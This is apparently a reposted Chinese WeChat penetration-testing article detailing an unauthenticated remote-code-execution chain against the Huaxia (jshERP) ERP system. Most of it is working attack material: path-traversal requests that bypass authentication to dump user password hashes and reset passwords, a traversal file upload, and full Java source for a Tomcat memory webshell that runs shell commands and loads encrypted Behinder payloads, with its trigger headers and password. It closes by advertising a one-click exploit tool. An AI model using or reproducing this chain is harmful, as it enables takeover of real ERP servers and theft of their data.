华夏ERP全版本未授权RCE及内存马注入。本文来自《实战攻防》开源应用渗透利用篇。作者:xiuxian
目前最新版V3.3
GET/jshERP-boot/platformConfig/getPlatform/..;/..;/..;/jshERP-boot/user/getAllList HTTP/1.1
通过getAllList读取用户名,密码MD5值。
POST /jshERP-boot/user/login HTTP/1.1
Host: IP
Content-Length: 67
Accept: application/json, text/plain, */*
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36
Content-Type: application/json;charset=UTF-8
Origin: http://172.20.10.3:3000
Referer: http://172.20.10.3:3000/user/login
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: Hm_lvt_1cd9bcbaae133f03a6eb19da6579aaba=1724134392; HMACCOUNT=4FC1696FCCBA0C17; Hm_lpvt_1cd9bcbaae133f03a6eb19da6579aaba=1724138837
Connection: close
{"loginName":"admin","password":"e10adc3949ba59abbe56e057f20f883e"}
权限绕过重置用户密码
/jshERP-boot/platformConfig/getPlatform/..;/..;/..;/jshERP-boot/user/resetPwd
{"id":63}
超级管理员用户登陆后使用uploadPluginConfigFile接口创建../plugin目录,此目录创建后可部署插件。
POST /jshERP-boot/plugin/uploadPluginConfigFile HTTP/1.1
Host: 172.20.10.3:3000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:129.0) Gecko/20100101 Firefox/129.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Content-Type: multipart/form-data; boundary=---------------------------64343665641219398361207370473
X-Access-Token: 90777cf909864636a458b05de1eab2a9_0
Content-Length: 247
-----------------------------64343665641219398361207370473
Content-Disposition: form-data; name="configFile"; filename="../plugins/success.txt"
Content-Type: text/plain
success
-----------------------------64343665641219398361207370473--
后台上传插件
编写springboot-plugin-framework-parent插件。
https://gitee.com/xiongyi01/springboot-plugin-framework-parent
内存马注入利用
编写冰蝎监听器,部署插件注入内存马。
package ysoserial.payloads.templates;
import com.sun.jmx.mbeanserver.NamedObject;
import com.sun.jmx.mbeanserver.Repository;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.apache.catalina.connector.Request;
import org.apache.catalina.connector.RequestFacade;
import org.apache.catalina.connector.Response;
import org.apache.catalina.core.StandardContext;
import org.apache.tomcat.util.modeler.Registry;
import javax.crypto.Cipher;
import javax.crypto.spec.SecretKeySpec;
import javax.management.DynamicMBean;
import javax.management.MBeanServer;
import javax.management.ObjectName;
import javax.servlet.ServletRequestEvent;
import javax.servlet.ServletRequestListener;
import javax.servlet.http.HttpSession;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Scanner;
import java.util.Set;
public class TomcatListenerMemShellFromJMX extends AbstractTranslet implements ServletRequestListener {
static {
try {
MBeanServer mbeanServer = Registry.getRegistry(null, null).getMBeanServer();
Field field = Class.forName("com.sun.jmx.mbeanserver.JmxMBeanServer").getDeclaredField("mbsInterceptor");
field.setAccessible(true);
Object obj = field.get(mbeanServer);
field = Class.forName("com.sun.jmx.interceptor.DefaultMBeanServerInterceptor").getDeclaredField("repository");
field.setAccessible(true);
Repository repository = (Repository) field.get(obj);
Set<NamedObject> objectSet = repository.query(new ObjectName("Catalina:host=localhost,name=NonLoginAuthenticator,type=Valve,*"), null);
if (objectSet.size() == 0) {
// springboot的jmx中为Tomcat而非Catalina
objectSet = repository.query(new ObjectName("Tomcat:host=localhost,name=NonLoginAuthenticator,type=Valve,*"), null);
}
for (NamedObject namedObject : objectSet) {
DynamicMBean dynamicMBean = namedObject.getObject();
field = Class.forName("org.apache.tomcat.util.modeler.BaseModelMBean").getDeclaredField("resource");
field.setAccessible(true);
obj = field.get(dynamicMBean);
field = Class.forName("org.apache.catalina.authenticator.AuthenticatorBase").getDeclaredField("context");
field.setAccessible(true);
StandardContext standardContext = (StandardContext) field.get(obj);
TomcatListenerMemShellFromJMX listener = new TomcatListenerMemShellFromJMX();
standardContext.addApplicationEventListener(listener);
}
} catch (Exception e) {
// e.printStackTrace();
}
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
@Override
public void requestDestroyed(ServletRequestEvent servletRequestEvent) {
}
@Override
public void requestInitialized(ServletRequestEvent servletRequestEvent) {
// Listener马没有包装类问题
try {
RequestFacade requestFacade = (RequestFacade) servletRequestEvent.getServletRequest();
Field f = requestFacade.getClass().getDeclaredField("request");
f.setAccessible(true);
Request request = (Request) f.get(requestFacade);
Response response = request.getResponse();
// 入口
if (request.getHeader("Referer").equalsIgnoreCase("https://www.google.com/")) {
// cmdshell
if (request.getHeader("x-client-data").equalsIgnoreCase("cmd")) {
String cmd = request.getHeader("cmd");
if (cmd != null && !cmd.isEmpty()) {
String[] cmds = null;
if (System.getProperty("os.name").toLowerCase().contains("win")) {
cmds = new String[]{"cmd", "/c", cmd};
} else {
cmds = new String[]{"/bin/bash", "-c", cmd};
}
String result = new Scanner(Runtime.getRuntime().exec(cmds).getInputStream()).useDelimiter("\A").next();
response.resetBuffer();
response.getWriter().println(result);
response.flushBuffer();
response.finishResponse();
}
} else if (request.getHeader("x-client-data").equalsIgnoreCase("rebeyond")) {
if (request.getMethod().equals("POST")) {
// 创建pageContext
HashMap pageContext = new HashMap();
// lastRequest的session是没有被包装的session!!
HttpSession session = request.getSession();
pageContext.put("request", request);
pageContext.put("response", response);
pageContext.put("session", session);
// 这里判断payload是否为空 因为在springboot2.6.3测试时request.getReader().readLine()可以获取到而采取拼接的话为空字符串
String payload = request.getReader().readLine();
// System.out.println(payload);
// 冰蝎逻辑
String k = "e45e329feb5d925b"; // rebeyond
session.putValue("u", k);
Cipher c = Cipher.getInstance("AES");
c.init(2, new SecretKeySpec(k.getBytes(), "AES"));
Method method = Class.forName("java.lang.ClassLoader").getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
method.setAccessible(true);
byte[] evilclass_byte = c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(payload));
Class evilclass = (Class) method.invoke(Thread.currentThread().getContextClassLoader(), evilclass_byte, 0, evilclass_byte.length);
evilclass.newInstance().equals(pageContext);
}
} else {
response.resetBuffer();
response.getWriter().println("error");
response.flushBuffer();
response.finishResponse();
}
}
} catch (Exception e) {
// e.printStackTrace();
}
}
}
插件启动,new一个冰蝎监听马。
上传插件连接内存马
密码:rebeyond
Referer: https://www.google.com/
x-client-data: rebeyond
华夏ERP漏洞利用一键化工具-实战攻防课程内部专版,报名课程免费获取
原文始发于微信公众号(渗透安全团队):华夏ERP全版本未授权RCE及内存马注入 | 干货
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
评论